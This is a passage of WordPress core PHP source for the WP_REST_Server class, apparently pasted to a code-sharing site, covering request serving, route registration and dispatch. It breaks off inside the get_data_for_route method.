· 6 years ago · Jan 31, 2020, 10:06 AM
1<?php
2/**
3 * REST API: WP_REST_Server class
4 *
5 * @package WordPress
6 * @subpackage REST_API
7 * @since 4.4.0
8 */
9
10/**
11 * Core class used to implement the WordPress REST API server.
12 *
13 * @since 4.4.0
14 */
15class WP_REST_Server {
16
17 /**
18 * Alias for GET transport method.
19 *
20 * @since 4.4.0
21 * @var string
22 */
23 const READABLE = 'GET';
24
25 /**
26 * Alias for POST transport method.
27 *
28 * @since 4.4.0
29 * @var string
30 */
31 const CREATABLE = 'POST';
32
33 /**
34 * Alias for POST, PUT, PATCH transport methods together.
35 *
36 * @since 4.4.0
37 * @var string
38 */
39 const EDITABLE = 'POST, PUT, PATCH';
40
41 /**
42 * Alias for DELETE transport method.
43 *
44 * @since 4.4.0
45 * @var string
46 */
47 const DELETABLE = 'DELETE';
48
49 /**
50 * Alias for GET, POST, PUT, PATCH & DELETE transport methods together.
51 *
52 * @since 4.4.0
53 * @var string
54 */
55 const ALLMETHODS = 'GET, POST, PUT, PATCH, DELETE';
56
57 /**
58 * Namespaces registered to the server.
59 *
60 * @since 4.4.0
61 * @var array
62 */
63 protected $namespaces = array();
64
65 /**
66 * Endpoints registered to the server.
67 *
68 * @since 4.4.0
69 * @var array
70 */
71 protected $endpoints = array();
72
73 /**
74 * Options defined for the routes.
75 *
76 * @since 4.4.0
77 * @var array
78 */
79 protected $route_options = array();
80
81 /**
82 * Instantiates the REST server.
83 *
84 * @since 4.4.0
85 */
86 public function __construct() {
87 $this->endpoints = array(
88 // Meta endpoints.
89 '/' => array(
90 'callback' => array( $this, 'get_index' ),
91 'methods' => 'GET',
92 'args' => array(
93 'context' => array(
94 'default' => 'view',
95 ),
96 ),
97 ),
98 );
99 }
100
101
102 /**
103 * Checks the authentication headers if supplied.
104 *
105 * @since 4.4.0
106 *
107 * @return WP_Error|null WP_Error indicates unsuccessful login, null indicates successful
108 * or no authentication provided
109 */
110 public function check_authentication() {
111 /**
112 * Filters REST authentication errors.
113 *
114 * This is used to pass a WP_Error from an authentication method back to
115 * the API.
116 *
117 * Authentication methods should check first if they're being used, as
118 * multiple authentication methods can be enabled on a site (cookies,
119 * HTTP basic auth, OAuth). If the authentication method hooked in is
120 * not actually being attempted, null should be returned to indicate
121 * another authentication method should check instead. Similarly,
122 * callbacks should ensure the value is `null` before checking for
123 * errors.
124 *
125 * A WP_Error instance can be returned if an error occurs, and this should
126 * match the format used by API methods internally (that is, the `status`
127 * data should be used). A callback can return `true` to indicate that
128 * the authentication method was used, and it succeeded.
129 *
130 * @since 4.4.0
131 *
132 * @param WP_Error|null|bool WP_Error if authentication error, null if authentication
133 * method wasn't used, true if authentication succeeded.
134 */
135 return apply_filters( 'rest_authentication_errors', null );
136 }
137
138 /**
139 * Converts an error to a response object.
140 *
141 * This iterates over all error codes and messages to change it into a flat
142 * array. This enables simpler client behaviour, as it is represented as a
143 * list in JSON rather than an object/map.
144 *
145 * @since 4.4.0
146 *
147 * @param WP_Error $error WP_Error instance.
148 * @return WP_REST_Response List of associative arrays with code and message keys.
149 */
150 protected function error_to_response( $error ) {
151 $error_data = $error->get_error_data();
152
153 if ( is_array( $error_data ) && isset( $error_data['status'] ) ) {
154 $status = $error_data['status'];
155 } else {
156 $status = 500;
157 }
158
159 $errors = array();
160
161 foreach ( (array) $error->errors as $code => $messages ) {
162 foreach ( (array) $messages as $message ) {
163 $errors[] = array(
164 'code' => $code,
165 'message' => $message,
166 'data' => $error->get_error_data( $code ),
167 );
168 }
169 }
170
171 $data = $errors[0];
172 if ( count( $errors ) > 1 ) {
173 // Remove the primary error.
174 array_shift( $errors );
175 $data['additional_errors'] = $errors;
176 }
177
178 $response = new WP_REST_Response( $data, $status );
179
180 return $response;
181 }
182
183 /**
184 * Retrieves an appropriate error representation in JSON.
185 *
186 * Note: This should only be used in WP_REST_Server::serve_request(), as it
187 * cannot handle WP_Error internally. All callbacks and other internal methods
188 * should instead return a WP_Error with the data set to an array that includes
189 * a 'status' key, with the value being the HTTP status to send.
190 *
191 * @since 4.4.0
192 *
193 * @param string $code WP_Error-style code.
194 * @param string $message Human-readable message.
195 * @param int $status Optional. HTTP status code to send. Default null.
196 * @return string JSON representation of the error
197 */
198 protected function json_error( $code, $message, $status = null ) {
199 if ( $status ) {
200 $this->set_status( $status );
201 }
202
203 $error = compact( 'code', 'message' );
204
205 return wp_json_encode( $error );
206 }
207
208 /**
209 * Handles serving an API request.
210 *
211 * Matches the current server URI to a route and runs the first matching
212 * callback then outputs a JSON representation of the returned value.
213 *
214 * @since 4.4.0
215 *
216 * @see WP_REST_Server::dispatch()
217 *
218 * @param string $path Optional. The request route. If not set, `$_SERVER['PATH_INFO']` will be used.
219 * Default null.
220 * @return false|null Null if not served and a HEAD request, false otherwise.
221 */
222 public function serve_request( $path = null ) {
223 $content_type = isset( $_GET['_jsonp'] ) ? 'application/javascript' : 'application/json';
224 $this->send_header( 'Content-Type', $content_type . '; charset=' . get_option( 'blog_charset' ) );
225 $this->send_header( 'X-Robots-Tag', 'noindex' );
226
227 $api_root = get_rest_url();
228 if ( ! empty( $api_root ) ) {
229 $this->send_header( 'Link', '<' . esc_url_raw( $api_root ) . '>; rel="https://api.w.org/"' );
230 }
231
232 /*
233 * Mitigate possible JSONP Flash attacks.
234 *
235 * https://miki.it/blog/2014/7/8/abusing-jsonp-with-rosetta-flash/
236 */
237 $this->send_header( 'X-Content-Type-Options', 'nosniff' );
238 $this->send_header( 'Access-Control-Expose-Headers', 'X-WP-Total, X-WP-TotalPages' );
239 $this->send_header( 'Access-Control-Allow-Headers', 'Authorization, Content-Type' );
240
241 /**
242 * Send nocache headers on authenticated requests.
243 *
244 * @since 4.4.0
245 *
246 * @param bool $rest_send_nocache_headers Whether to send no-cache headers.
247 */
248 $send_no_cache_headers = apply_filters( 'rest_send_nocache_headers', is_user_logged_in() );
249 if ( $send_no_cache_headers ) {
250 foreach ( wp_get_nocache_headers() as $header => $header_value ) {
251 if ( empty( $header_value ) ) {
252 $this->remove_header( $header );
253 } else {
254 $this->send_header( $header, $header_value );
255 }
256 }
257 }
258
259 /**
260 * Filters whether the REST API is enabled.
261 *
262 * @since 4.4.0
263 * @deprecated 4.7.0 Use the rest_authentication_errors filter to restrict access to the API
264 *
265 * @param bool $rest_enabled Whether the REST API is enabled. Default true.
266 */
267 apply_filters_deprecated(
268 'rest_enabled',
269 array( true ),
270 '4.7.0',
271 'rest_authentication_errors',
272 __( 'The REST API can no longer be completely disabled, the rest_authentication_errors filter can be used to restrict access to the API, instead.' )
273 );
274
275 /**
276 * Filters whether jsonp is enabled.
277 *
278 * @since 4.4.0
279 *
280 * @param bool $jsonp_enabled Whether jsonp is enabled. Default true.
281 */
282 $jsonp_enabled = apply_filters( 'rest_jsonp_enabled', true );
283
284 $jsonp_callback = null;
285
286 if ( isset( $_GET['_jsonp'] ) ) {
287 if ( ! $jsonp_enabled ) {
288 echo $this->json_error( 'rest_callback_disabled', __( 'JSONP support is disabled on this site.' ), 400 );
289 return false;
290 }
291
292 $jsonp_callback = $_GET['_jsonp'];
293 if ( ! wp_check_jsonp_callback( $jsonp_callback ) ) {
294 echo $this->json_error( 'rest_callback_invalid', __( 'Invalid JSONP callback function.' ), 400 );
295 return false;
296 }
297 }
298
299 if ( empty( $path ) ) {
300 if ( isset( $_SERVER['PATH_INFO'] ) ) {
301 $path = $_SERVER['PATH_INFO'];
302 } else {
303 $path = '/';
304 }
305 }
306
307 $request = new WP_REST_Request( $_SERVER['REQUEST_METHOD'], $path );
308
309 $request->set_query_params( wp_unslash( $_GET ) );
310 $request->set_body_params( wp_unslash( $_POST ) );
311 $request->set_file_params( $_FILES );
312 $request->set_headers( $this->get_headers( wp_unslash( $_SERVER ) ) );
313 $request->set_body( self::get_raw_data() );
314
315 /*
316 * HTTP method override for clients that can't use PUT/PATCH/DELETE. First, we check
317 * $_GET['_method']. If that is not set, we check for the HTTP_X_HTTP_METHOD_OVERRIDE
318 * header.
319 */
320 if ( isset( $_GET['_method'] ) ) {
321 $request->set_method( $_GET['_method'] );
322 } elseif ( isset( $_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE'] ) ) {
323 $request->set_method( $_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE'] );
324 }
325
326 $result = $this->check_authentication();
327
328 if ( ! is_wp_error( $result ) ) {
329 $result = $this->dispatch( $request );
330 }
331
332 // Normalize to either WP_Error or WP_REST_Response...
333 $result = rest_ensure_response( $result );
334
335 // ...then convert WP_Error across.
336 if ( is_wp_error( $result ) ) {
337 $result = $this->error_to_response( $result );
338 }
339
340 /**
341 * Filters the API response.
342 *
343 * Allows modification of the response before returning.
344 *
345 * @since 4.4.0
346 * @since 4.5.0 Applied to embedded responses.
347 *
348 * @param WP_HTTP_Response $result Result to send to the client. Usually a WP_REST_Response.
349 * @param WP_REST_Server $this Server instance.
350 * @param WP_REST_Request $request Request used to generate the response.
351 */
352 $result = apply_filters( 'rest_post_dispatch', rest_ensure_response( $result ), $this, $request );
353
354 // Wrap the response in an envelope if asked for.
355 if ( isset( $_GET['_envelope'] ) ) {
356 $result = $this->envelope_response( $result, isset( $_GET['_embed'] ) );
357 }
358
359 // Send extra data from response objects.
360 $headers = $result->get_headers();
361 $this->send_headers( $headers );
362
363 $code = $result->get_status();
364 $this->set_status( $code );
365
366 /**
367 * Filters whether the request has already been served.
368 *
369 * Allow sending the request manually - by returning true, the API result
370 * will not be sent to the client.
371 *
372 * @since 4.4.0
373 *
374 * @param bool $served Whether the request has already been served.
375 * Default false.
376 * @param WP_HTTP_Response $result Result to send to the client. Usually a WP_REST_Response.
377 * @param WP_REST_Request $request Request used to generate the response.
378 * @param WP_REST_Server $this Server instance.
379 */
380 $served = apply_filters( 'rest_pre_serve_request', false, $result, $request, $this );
381
382 if ( ! $served ) {
383 if ( 'HEAD' === $request->get_method() ) {
384 return null;
385 }
386
387 // Embed links inside the request.
388 $result = $this->response_to_data( $result, isset( $_GET['_embed'] ) );
389
390 /**
391 * Filters the API response.
392 *
393 * Allows modification of the response data after inserting
394 * embedded data (if any) and before echoing the response data.
395 *
396 * @since 4.8.1
397 *
398 * @param array $result Response data to send to the client.
399 * @param WP_REST_Server $this Server instance.
400 * @param WP_REST_Request $request Request used to generate the response.
401 */
402 $result = apply_filters( 'rest_pre_echo_response', $result, $this, $request );
403
404 // The 204 response shouldn't have a body.
405 if ( 204 === $code || null === $result ) {
406 return null;
407 }
408
409 $result = wp_json_encode( $result );
410
411 $json_error_message = $this->get_json_last_error();
412 if ( $json_error_message ) {
413 $json_error_obj = new WP_Error( 'rest_encode_error', $json_error_message, array( 'status' => 500 ) );
414 $result = $this->error_to_response( $json_error_obj );
415 $result = wp_json_encode( $result->data[0] );
416 }
417
418 if ( $jsonp_callback ) {
419 // Prepend '/**/' to mitigate possible JSONP Flash attacks.
420 // https://miki.it/blog/2014/7/8/abusing-jsonp-with-rosetta-flash/
421 echo '/**/' . $jsonp_callback . '(' . $result . ')';
422 } else {
423 echo $result;
424 }
425 }
426 return null;
427 }
428
429 /**
430 * Converts a response to data to send.
431 *
432 * @since 4.4.0
433 *
434 * @param WP_REST_Response $response Response object.
435 * @param bool $embed Whether links should be embedded.
436 * @return array {
437 * Data with sub-requests embedded.
438 *
439 * @type array [$_links] Links.
440 * @type array [$_embedded] Embeddeds.
441 * }
442 */
443 public function response_to_data( $response, $embed ) {
444 $data = $response->get_data();
445 $links = self::get_compact_response_links( $response );
446
447 if ( ! empty( $links ) ) {
448 // Convert links to part of the data.
449 $data['_links'] = $links;
450 }
451 if ( $embed ) {
452 // Determine if this is a numeric array.
453 if ( wp_is_numeric_array( $data ) ) {
454 $data = array_map( array( $this, 'embed_links' ), $data );
455 } else {
456 $data = $this->embed_links( $data );
457 }
458 }
459
460 return $data;
461 }
462
463 /**
464 * Retrieves links from a response.
465 *
466 * Extracts the links from a response into a structured hash, suitable for
467 * direct output.
468 *
469 * @since 4.4.0
470 *
471 * @param WP_REST_Response $response Response to extract links from.
472 * @return array Map of link relation to list of link hashes.
473 */
474 public static function get_response_links( $response ) {
475 $links = $response->get_links();
476 if ( empty( $links ) ) {
477 return array();
478 }
479
480 // Convert links to part of the data.
481 $data = array();
482 foreach ( $links as $rel => $items ) {
483 $data[ $rel ] = array();
484
485 foreach ( $items as $item ) {
486 $attributes = $item['attributes'];
487 $attributes['href'] = $item['href'];
488 $data[ $rel ][] = $attributes;
489 }
490 }
491
492 return $data;
493 }
494
495 /**
496 * Retrieves the CURIEs (compact URIs) used for relations.
497 *
498 * Extracts the links from a response into a structured hash, suitable for
499 * direct output.
500 *
501 * @since 4.5.0
502 *
503 * @param WP_REST_Response $response Response to extract links from.
504 * @return array Map of link relation to list of link hashes.
505 */
506 public static function get_compact_response_links( $response ) {
507 $links = self::get_response_links( $response );
508
509 if ( empty( $links ) ) {
510 return array();
511 }
512
513 $curies = $response->get_curies();
514 $used_curies = array();
515
516 foreach ( $links as $rel => $items ) {
517
518 // Convert $rel URIs to their compact versions if they exist.
519 foreach ( $curies as $curie ) {
520 $href_prefix = substr( $curie['href'], 0, strpos( $curie['href'], '{rel}' ) );
521 if ( strpos( $rel, $href_prefix ) !== 0 ) {
522 continue;
523 }
524
525 // Relation now changes from '$uri' to '$curie:$relation'.
526 $rel_regex = str_replace( '\{rel\}', '(.+)', preg_quote( $curie['href'], '!' ) );
527 preg_match( '!' . $rel_regex . '!', $rel, $matches );
528 if ( $matches ) {
529 $new_rel = $curie['name'] . ':' . $matches[1];
530 $used_curies[ $curie['name'] ] = $curie;
531 $links[ $new_rel ] = $items;
532 unset( $links[ $rel ] );
533 break;
534 }
535 }
536 }
537
538 // Push the curies onto the start of the links array.
539 if ( $used_curies ) {
540 $links['curies'] = array_values( $used_curies );
541 }
542
543 return $links;
544 }
545
546 /**
547 * Embeds the links from the data into the request.
548 *
549 * @since 4.4.0
550 *
551 * @param array $data Data from the request.
552 * @return array {
553 * Data with sub-requests embedded.
554 *
555 * @type array [$_links] Links.
556 * @type array [$_embedded] Embeddeds.
557 * }
558 */
559 protected function embed_links( $data ) {
560 if ( empty( $data['_links'] ) ) {
561 return $data;
562 }
563
564 $embedded = array();
565
566 foreach ( $data['_links'] as $rel => $links ) {
567 $embeds = array();
568
569 foreach ( $links as $item ) {
570 // Determine if the link is embeddable.
571 if ( empty( $item['embeddable'] ) ) {
572 // Ensure we keep the same order.
573 $embeds[] = array();
574 continue;
575 }
576
577 // Run through our internal routing and serve.
578 $request = WP_REST_Request::from_url( $item['href'] );
579 if ( ! $request ) {
580 $embeds[] = array();
581 continue;
582 }
583
584 // Embedded resources get passed context=embed.
585 if ( empty( $request['context'] ) ) {
586 $request['context'] = 'embed';
587 }
588
589 $response = $this->dispatch( $request );
590
591 /** This filter is documented in wp-includes/rest-api/class-wp-rest-server.php */
592 $response = apply_filters( 'rest_post_dispatch', rest_ensure_response( $response ), $this, $request );
593
594 $embeds[] = $this->response_to_data( $response, false );
595 }
596
597 // Determine if any real links were found.
598 $has_links = count( array_filter( $embeds ) );
599
600 if ( $has_links ) {
601 $embedded[ $rel ] = $embeds;
602 }
603 }
604
605 if ( ! empty( $embedded ) ) {
606 $data['_embedded'] = $embedded;
607 }
608
609 return $data;
610 }
611
612 /**
613 * Wraps the response in an envelope.
614 *
615 * The enveloping technique is used to work around browser/client
616 * compatibility issues. Essentially, it converts the full HTTP response to
617 * data instead.
618 *
619 * @since 4.4.0
620 *
621 * @param WP_REST_Response $response Response object.
622 * @param bool $embed Whether links should be embedded.
623 * @return WP_REST_Response New response with wrapped data
624 */
625 public function envelope_response( $response, $embed ) {
626 $envelope = array(
627 'body' => $this->response_to_data( $response, $embed ),
628 'status' => $response->get_status(),
629 'headers' => $response->get_headers(),
630 );
631
632 /**
633 * Filters the enveloped form of a response.
634 *
635 * @since 4.4.0
636 *
637 * @param array $envelope Envelope data.
638 * @param WP_REST_Response $response Original response data.
639 */
640 $envelope = apply_filters( 'rest_envelope_response', $envelope, $response );
641
642 // Ensure it's still a response and return.
643 return rest_ensure_response( $envelope );
644 }
645
646 /**
647 * Registers a route to the server.
648 *
649 * @since 4.4.0
650 *
651 * @param string $namespace Namespace.
652 * @param string $route The REST route.
653 * @param array $route_args Route arguments.
654 * @param bool $override Optional. Whether the route should be overridden if it already exists.
655 * Default false.
656 */
657 public function register_route( $namespace, $route, $route_args, $override = false ) {
658 if ( ! isset( $this->namespaces[ $namespace ] ) ) {
659 $this->namespaces[ $namespace ] = array();
660
661 $this->register_route(
662 $namespace,
663 '/' . $namespace,
664 array(
665 array(
666 'methods' => self::READABLE,
667 'callback' => array( $this, 'get_namespace_index' ),
668 'args' => array(
669 'namespace' => array(
670 'default' => $namespace,
671 ),
672 'context' => array(
673 'default' => 'view',
674 ),
675 ),
676 ),
677 )
678 );
679 }
680
681 // Associative to avoid double-registration.
682 $this->namespaces[ $namespace ][ $route ] = true;
683 $route_args['namespace'] = $namespace;
684
685 if ( $override || empty( $this->endpoints[ $route ] ) ) {
686 $this->endpoints[ $route ] = $route_args;
687 } else {
688 $this->endpoints[ $route ] = array_merge( $this->endpoints[ $route ], $route_args );
689 }
690 }
691
692 /**
693 * Retrieves the route map.
694 *
695 * The route map is an associative array with path regexes as the keys. The
696 * value is an indexed array with the callback function/method as the first
697 * item, and a bitmask of HTTP methods as the second item (see the class
698 * constants).
699 *
700 * Each route can be mapped to more than one callback by using an array of
701 * the indexed arrays. This allows mapping e.g. GET requests to one callback
702 * and POST requests to another.
703 *
704 * Note that the path regexes (array keys) must have @ escaped, as this is
705 * used as the delimiter with preg_match()
706 *
707 * @since 4.4.0
708 *
709 * @return array `'/path/regex' => array( $callback, $bitmask )` or
710 * `'/path/regex' => array( array( $callback, $bitmask ), ...)`.
711 */
712 public function get_routes() {
713
714 /**
715 * Filters the array of available endpoints.
716 *
717 * @since 4.4.0
718 *
719 * @param array $endpoints The available endpoints. An array of matching regex patterns, each mapped
720 * to an array of callbacks for the endpoint. These take the format
721 * `'/path/regex' => array( $callback, $bitmask )` or
722 * `'/path/regex' => array( array( $callback, $bitmask ).
723 */
724 $endpoints = apply_filters( 'rest_endpoints', $this->endpoints );
725
726 // Normalise the endpoints.
727 $defaults = array(
728 'methods' => '',
729 'accept_json' => false,
730 'accept_raw' => false,
731 'show_in_index' => true,
732 'args' => array(),
733 );
734
735 foreach ( $endpoints as $route => &$handlers ) {
736
737 if ( isset( $handlers['callback'] ) ) {
738 // Single endpoint, add one deeper.
739 $handlers = array( $handlers );
740 }
741
742 if ( ! isset( $this->route_options[ $route ] ) ) {
743 $this->route_options[ $route ] = array();
744 }
745
746 foreach ( $handlers as $key => &$handler ) {
747
748 if ( ! is_numeric( $key ) ) {
749 // Route option, move it to the options.
750 $this->route_options[ $route ][ $key ] = $handler;
751 unset( $handlers[ $key ] );
752 continue;
753 }
754
755 $handler = wp_parse_args( $handler, $defaults );
756
757 // Allow comma-separated HTTP methods.
758 if ( is_string( $handler['methods'] ) ) {
759 $methods = explode( ',', $handler['methods'] );
760 } elseif ( is_array( $handler['methods'] ) ) {
761 $methods = $handler['methods'];
762 } else {
763 $methods = array();
764 }
765
766 $handler['methods'] = array();
767
768 foreach ( $methods as $method ) {
769 $method = strtoupper( trim( $method ) );
770 $handler['methods'][ $method ] = true;
771 }
772 }
773 }
774
775 return $endpoints;
776 }
777
778 /**
779 * Retrieves namespaces registered on the server.
780 *
781 * @since 4.4.0
782 *
783 * @return array List of registered namespaces.
784 */
785 public function get_namespaces() {
786 return array_keys( $this->namespaces );
787 }
788
789 /**
790 * Retrieves specified options for a route.
791 *
792 * @since 4.4.0
793 *
794 * @param string $route Route pattern to fetch options for.
795 * @return array|null Data as an associative array if found, or null if not found.
796 */
797 public function get_route_options( $route ) {
798 if ( ! isset( $this->route_options[ $route ] ) ) {
799 return null;
800 }
801
802 return $this->route_options[ $route ];
803 }
804
805 /**
806 * Matches the request to a callback and call it.
807 *
808 * @since 4.4.0
809 *
810 * @param WP_REST_Request $request Request to attempt dispatching.
811 * @return WP_REST_Response Response returned by the callback.
812 */
813 public function dispatch( $request ) {
814 /**
815 * Filters the pre-calculated result of a REST dispatch request.
816 *
817 * Allow hijacking the request before dispatching by returning a non-empty. The returned value
818 * will be used to serve the request instead.
819 *
820 * @since 4.4.0
821 *
822 * @param mixed $result Response to replace the requested version with. Can be anything
823 * a normal endpoint can return, or null to not hijack the request.
824 * @param WP_REST_Server $this Server instance.
825 * @param WP_REST_Request $request Request used to generate the response.
826 */
827 $result = apply_filters( 'rest_pre_dispatch', null, $this, $request );
828
829 if ( ! empty( $result ) ) {
830 return $result;
831 }
832
833 $method = $request->get_method();
834 $path = $request->get_route();
835
836 foreach ( $this->get_routes() as $route => $handlers ) {
837 $match = preg_match( '@^' . $route . '$@i', $path, $matches );
838
839 if ( ! $match ) {
840 continue;
841 }
842
843 $args = array();
844 foreach ( $matches as $param => $value ) {
845 if ( ! is_int( $param ) ) {
846 $args[ $param ] = $value;
847 }
848 }
849
850 foreach ( $handlers as $handler ) {
851 $callback = $handler['callback'];
852 $response = null;
853
854 // Fallback to GET method if no HEAD method is registered.
855 $checked_method = $method;
856 if ( 'HEAD' === $method && empty( $handler['methods']['HEAD'] ) ) {
857 $checked_method = 'GET';
858 }
859 if ( empty( $handler['methods'][ $checked_method ] ) ) {
860 continue;
861 }
862
863 if ( ! is_callable( $callback ) ) {
864 $response = new WP_Error( 'rest_invalid_handler', __( 'The handler for the route is invalid' ), array( 'status' => 500 ) );
865 }
866
867 if ( ! is_wp_error( $response ) ) {
868 // Remove the redundant preg_match argument.
869 unset( $args[0] );
870
871 $request->set_url_params( $args );
872 $request->set_attributes( $handler );
873
874 $defaults = array();
875
876 foreach ( $handler['args'] as $arg => $options ) {
877 if ( isset( $options['default'] ) ) {
878 $defaults[ $arg ] = $options['default'];
879 }
880 }
881
882 $request->set_default_params( $defaults );
883
884 $check_required = $request->has_valid_params();
885 if ( is_wp_error( $check_required ) ) {
886 $response = $check_required;
887 } else {
888 $check_sanitized = $request->sanitize_params();
889 if ( is_wp_error( $check_sanitized ) ) {
890 $response = $check_sanitized;
891 }
892 }
893 }
894
895 /**
896 * Filters the response before executing any REST API callbacks.
897 *
898 * Allows plugins to perform additional validation after a
899 * request is initialized and matched to a registered route,
900 * but before it is executed.
901 *
902 * Note that this filter will not be called for requests that
903 * fail to authenticate or match to a registered route.
904 *
905 * @since 4.7.0
906 *
907 * @param WP_HTTP_Response|WP_Error $response Result to send to the client. Usually a WP_REST_Response or WP_Error.
908 * @param array $handler Route handler used for the request.
909 * @param WP_REST_Request $request Request used to generate the response.
910 */
911 $response = apply_filters( 'rest_request_before_callbacks', $response, $handler, $request );
912
913 if ( ! is_wp_error( $response ) ) {
914 // Check permission specified on the route.
915 if ( ! empty( $handler['permission_callback'] ) ) {
916 $permission = call_user_func( $handler['permission_callback'], $request );
917
918 if ( is_wp_error( $permission ) ) {
919 $response = $permission;
920 } elseif ( false === $permission || null === $permission ) {
921 $response = new WP_Error( 'rest_forbidden', __( 'Sorry, you are not allowed to do that.' ), array( 'status' => rest_authorization_required_code() ) );
922 }
923 }
924 }
925
926 if ( ! is_wp_error( $response ) ) {
927 /**
928 * Filters the REST dispatch request result.
929 *
930 * Allow plugins to override dispatching the request.
931 *
932 * @since 4.4.0
933 * @since 4.5.0 Added `$route` and `$handler` parameters.
934 *
935 * @param mixed $dispatch_result Dispatch result, will be used if not empty.
936 * @param WP_REST_Request $request Request used to generate the response.
937 * @param string $route Route matched for the request.
938 * @param array $handler Route handler used for the request.
939 */
940 $dispatch_result = apply_filters( 'rest_dispatch_request', null, $request, $route, $handler );
941
942 // Allow plugins to halt the request via this filter.
943 if ( null !== $dispatch_result ) {
944 $response = $dispatch_result;
945 } else {
946 $response = call_user_func( $callback, $request );
947 }
948 }
949
950 /**
951 * Filters the response immediately after executing any REST API
952 * callbacks.
953 *
954 * Allows plugins to perform any needed cleanup, for example,
955 * to undo changes made during the {@see 'rest_request_before_callbacks'}
956 * filter.
957 *
958 * Note that this filter will not be called for requests that
959 * fail to authenticate or match to a registered route.
960 *
961 * Note that an endpoint's `permission_callback` can still be
962 * called after this filter - see `rest_send_allow_header()`.
963 *
964 * @since 4.7.0
965 *
966 * @param WP_HTTP_Response|WP_Error $response Result to send to the client. Usually a WP_REST_Response or WP_Error.
967 * @param array $handler Route handler used for the request.
968 * @param WP_REST_Request $request Request used to generate the response.
969 */
970 $response = apply_filters( 'rest_request_after_callbacks', $response, $handler, $request );
971
972 if ( is_wp_error( $response ) ) {
973 $response = $this->error_to_response( $response );
974 } else {
975 $response = rest_ensure_response( $response );
976 }
977
978 $response->set_matched_route( $route );
979 $response->set_matched_handler( $handler );
980
981 return $response;
982 }
983 }
984
985 return $this->error_to_response( new WP_Error( 'rest_no_route', __( 'No route was found matching the URL and request method' ), array( 'status' => 404 ) ) );
986 }
987
988 /**
989 * Returns if an error occurred during most recent JSON encode/decode.
990 *
991 * Strings to be translated will be in format like
992 * "Encoding error: Maximum stack depth exceeded".
993 *
994 * @since 4.4.0
995 *
996 * @return bool|string Boolean false or string error message.
997 */
998 protected function get_json_last_error() {
999 $last_error_code = json_last_error();
1000
1001 if ( JSON_ERROR_NONE === $last_error_code || empty( $last_error_code ) ) {
1002 return false;
1003 }
1004
1005 return json_last_error_msg();
1006 }
1007
1008 /**
1009 * Retrieves the site index.
1010 *
1011 * This endpoint describes the capabilities of the site.
1012 *
1013 * @since 4.4.0
1014 *
1015 * @param array $request {
1016 * Request.
1017 *
1018 * @type string $context Context.
1019 * }
1020 * @return array Index entity
1021 */
1022 public function get_index( $request ) {
1023 // General site data.
1024 $available = array(
1025 'name' => get_option( 'blogname' ),
1026 'description' => get_option( 'blogdescription' ),
1027 'url' => get_option( 'siteurl' ),
1028 'home' => home_url(),
1029 'gmt_offset' => get_option( 'gmt_offset' ),
1030 'timezone_string' => get_option( 'timezone_string' ),
1031 'namespaces' => array_keys( $this->namespaces ),
1032 'authentication' => array(),
1033 'routes' => $this->get_data_for_routes( $this->get_routes(), $request['context'] ),
1034 );
1035
1036 $response = new WP_REST_Response( $available );
1037
1038 $response->add_link( 'help', 'http://v2.wp-api.org/' );
1039
1040 /**
1041 * Filters the API root index data.
1042 *
1043 * This contains the data describing the API. This includes information
1044 * about supported authentication schemes, supported namespaces, routes
1045 * available on the API, and a small amount of data about the site.
1046 *
1047 * @since 4.4.0
1048 *
1049 * @param WP_REST_Response $response Response data.
1050 */
1051 return apply_filters( 'rest_index', $response );
1052 }
1053
1054 /**
1055 * Retrieves the index for a namespace.
1056 *
1057 * @since 4.4.0
1058 *
1059 * @param WP_REST_Request $request REST request instance.
1060 * @return WP_REST_Response|WP_Error WP_REST_Response instance if the index was found,
1061 * WP_Error if the namespace isn't set.
1062 */
1063 public function get_namespace_index( $request ) {
1064 $namespace = $request['namespace'];
1065
1066 if ( ! isset( $this->namespaces[ $namespace ] ) ) {
1067 return new WP_Error( 'rest_invalid_namespace', __( 'The specified namespace could not be found.' ), array( 'status' => 404 ) );
1068 }
1069
1070 $routes = $this->namespaces[ $namespace ];
1071 $endpoints = array_intersect_key( $this->get_routes(), $routes );
1072
1073 $data = array(
1074 'namespace' => $namespace,
1075 'routes' => $this->get_data_for_routes( $endpoints, $request['context'] ),
1076 );
1077 $response = rest_ensure_response( $data );
1078
1079 // Link to the root index.
1080 $response->add_link( 'up', rest_url( '/' ) );
1081
1082 /**
1083 * Filters the namespace index data.
1084 *
1085 * This typically is just the route data for the namespace, but you can
1086 * add any data you'd like here.
1087 *
1088 * @since 4.4.0
1089 *
1090 * @param WP_REST_Response $response Response data.
1091 * @param WP_REST_Request $request Request data. The namespace is passed as the 'namespace' parameter.
1092 */
1093 return apply_filters( 'rest_namespace_index', $response, $request );
1094 }
1095
1096 /**
1097 * Retrieves the publicly-visible data for routes.
1098 *
1099 * @since 4.4.0
1100 *
1101 * @param array $routes Routes to get data for.
1102 * @param string $context Optional. Context for data. Accepts 'view' or 'help'. Default 'view'.
1103 * @return array Route data to expose in indexes.
1104 */
1105 public function get_data_for_routes( $routes, $context = 'view' ) {
1106 $available = array();
1107
1108 // Find the available routes.
1109 foreach ( $routes as $route => $callbacks ) {
1110 $data = $this->get_data_for_route( $route, $callbacks, $context );
1111 if ( empty( $data ) ) {
1112 continue;
1113 }
1114
1115 /**
1116 * Filters the REST endpoint data.
1117 *
1118 * @since 4.4.0
1119 *
1120 * @param WP_REST_Request $request Request data. The namespace is passed as the 'namespace' parameter.
1121 */
1122 $available[ $route ] = apply_filters( 'rest_endpoints_description', $data );
1123 }
1124
1125 /**
1126 * Filters the publicly-visible data for routes.
1127 *
1128 * This data is exposed on indexes and can be used by clients or
1129 * developers to investigate the site and find out how to use it. It
1130 * acts as a form of self-documentation.
1131 *
1132 * @since 4.4.0
1133 *
1134 * @param array $available Map of route to route data.
1135 * @param array $routes Internal route data as an associative array.
1136 */
1137 return apply_filters( 'rest_route_data', $available, $routes );
1138 }
1139
1140 /**
1141 * Retrieves publicly-visible data for the route.
1142 *
1143 * @since 4.4.0
1144 *
1145 * @param string $route Route to get data for.
1146 * @param array $callbacks Callbacks to convert to data.
1147 * @param string $context Optional. Context for the data. Accepts 'view' or 'help'. Default 'view'.
1148 * @return array|null Data for the route, or null if no publicly-visible data.
1149 */
1150 public function get_data_for_route( $route, $callbacks, $context = 'view' ) {
1151 $data = array(
1152 'namespace' => '',
1153 'methods' => array(),
1154 'endpoints' => array(),
1155 );
1156
1157 if ( isset( $this->route_options[ $route ] ) ) {
1158 $options = $this->route_options[ $route ];
1159
1160 if ( isset( $options['namespace'] ) ) {
1161 $data['namespace'] = $options['namespace'];
